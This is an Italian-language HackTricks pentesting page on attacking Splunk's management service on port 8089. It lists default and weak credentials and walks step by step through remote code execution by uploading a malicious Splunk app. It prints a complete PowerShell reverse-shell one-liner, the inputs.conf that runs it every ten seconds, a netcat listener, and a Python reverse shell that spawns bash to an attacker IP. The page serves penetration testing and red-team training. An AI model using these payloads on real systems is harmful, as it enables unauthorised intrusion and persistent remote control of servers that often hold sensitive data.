8.9 KiB
8089 - Test di penetrazione di Splunkd
Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
Informazioni di base
Splunk è uno strumento di analisi dei log che svolge un ruolo cruciale nella raccolta, analisi e visualizzazione dei dati. Sebbene il suo scopo iniziale non fosse quello di essere uno strumento SIEM (Security Information and Event Management), ha guadagnato popolarità nel campo del monitoraggio della sicurezza e dell'analisi aziendale.
Le implementazioni di Splunk vengono spesso utilizzate per memorizzare dati sensibili e possono fungere da fonte preziosa di informazioni per potenziali attaccanti se riescono a compromettere il sistema. Porta predefinita: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Il server web Splunk viene eseguito per impostazione predefinita sulla porta 8000. {% endhint %}
Enumerazione
Versione gratuita
La versione di prova di Splunk Enterprise si converte in una versione gratuita dopo 60 giorni, che non richiede autenticazione. Non è raro che gli amministratori di sistema installino una versione di prova di Splunk per testarla, che viene successivamente dimenticata. Questo si convertirà automaticamente nella versione gratuita che non ha alcuna forma di autenticazione, introducendo una falla di sicurezza nell'ambiente. Alcune organizzazioni potrebbero optare per la versione gratuita a causa di vincoli di budget, senza comprendere appieno le implicazioni di non avere gestione degli utenti/dei ruoli.
Credenziali predefinite
Nelle versioni più datate di Splunk, le credenziali predefinite sono admin:changeme
, che vengono comodamente visualizzate sulla pagina di accesso.
Tuttavia, nella versione più recente di Splunk le credenziali vengono impostate durante il processo di installazione. Se le credenziali predefinite non funzionano, vale la pena controllare la presenza di password deboli comuni come admin
, Welcome
, Welcome1
, Password123
, ecc.
Ottenere informazioni
Una volta effettuato l'accesso a Splunk, possiamo esaminare i dati, eseguire report, creare dashboard, installare applicazioni dalla libreria Splunkbase e installare applicazioni personalizzate.
È anche possibile eseguire codice: Splunk ha molteplici modi per eseguire codice, come applicazioni Django lato server, endpoint REST, input scriptato e script di alert. Un metodo comune per ottenere l'esecuzione remota di codice su un server Splunk è tramite l'uso di un input scriptato.
Inoltre, poiché Splunk può essere installato su host Windows o Linux, è possibile creare input scriptati per eseguire script Bash, PowerShell o Batch.
Shodan
Splunk build
RCE
Creare un'applicazione personalizzata
Un'applicazione personalizzata può eseguire script Python, Batch, Bash o PowerShell.
Nota che Splunk viene fornito con Python installato, quindi anche nei sistemi Windows sarà possibile eseguire codice python.
Puoi utilizzare questo pacchetto Splunk per aiutarci. La directory bin
in questo repository contiene esempi per Python e PowerShell. Seguiamo questo passo dopo passo.
Per ottenere questo, prima dobbiamo creare un'applicazione Splunk personalizzata utilizzando la seguente struttura di directory:
tree splunk_shell/
splunk_shell/
├── bin
└── default
Il bin
directory conterrà qualsiasi script che intendiamo eseguire (in questo caso, un shell inverso PowerShell), e la directory predefinita avrà il nostro file inputs.conf
. Il nostro shell inverso sarà un one-liner PowerShell:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
Il file inputs.conf indica a Splunk quale script eseguire e qualsiasi altra condizione. Qui impostiamo l'app come abilitata e diciamo a Splunk di eseguire lo script ogni 10 secondi. L'intervallo è sempre in secondi, e l'input (script) verrà eseguito solo se questa impostazione è presente.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Abbiamo bisogno del file .bat
, che verrà eseguito quando l'applicazione viene distribuita ed eseguirà il comando PowerShell one-liner.
Il passo successivo è scegliere Installa app da file
e caricare l'applicazione.
![](/Mirrors/hacktricks/media/commit/c5fc51b35f1c6d3de034c165434fc2dbfb160221/.gitbook/assets/image%20%28668%29.png)
Prima di caricare l'applicazione personalizzata dannosa, avviamo un listener utilizzando Netcat o socat.
sudo nc -lnvp 443
listening on [any] 443 ...
Nella pagina Carica app
, fai clic su Sfoglia, scegli il pacchetto tar creato in precedenza e fai clic su Carica
. Non appena carichiamo l'applicazione, riceveremo una shell inversa poiché lo stato dell'applicazione passerà automaticamente a Abilitato
.
Linux
Se stessimo affrontando un host Linux, dovremmo modificare lo script Python rev.py
prima di creare il pacchetto tar e caricare l'applicazione dannosa personalizzata. Il resto del processo sarebbe lo stesso e otterremmo una connessione shell inversa sul nostro listener Netcat e saremmo pronti a partire.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Escalazione dei Privilegi
Nella pagina seguente puoi trovare una spiegazione su come questo servizio può essere abusato per escalare i privilegi e ottenere persistenza:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Riferimenti
Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.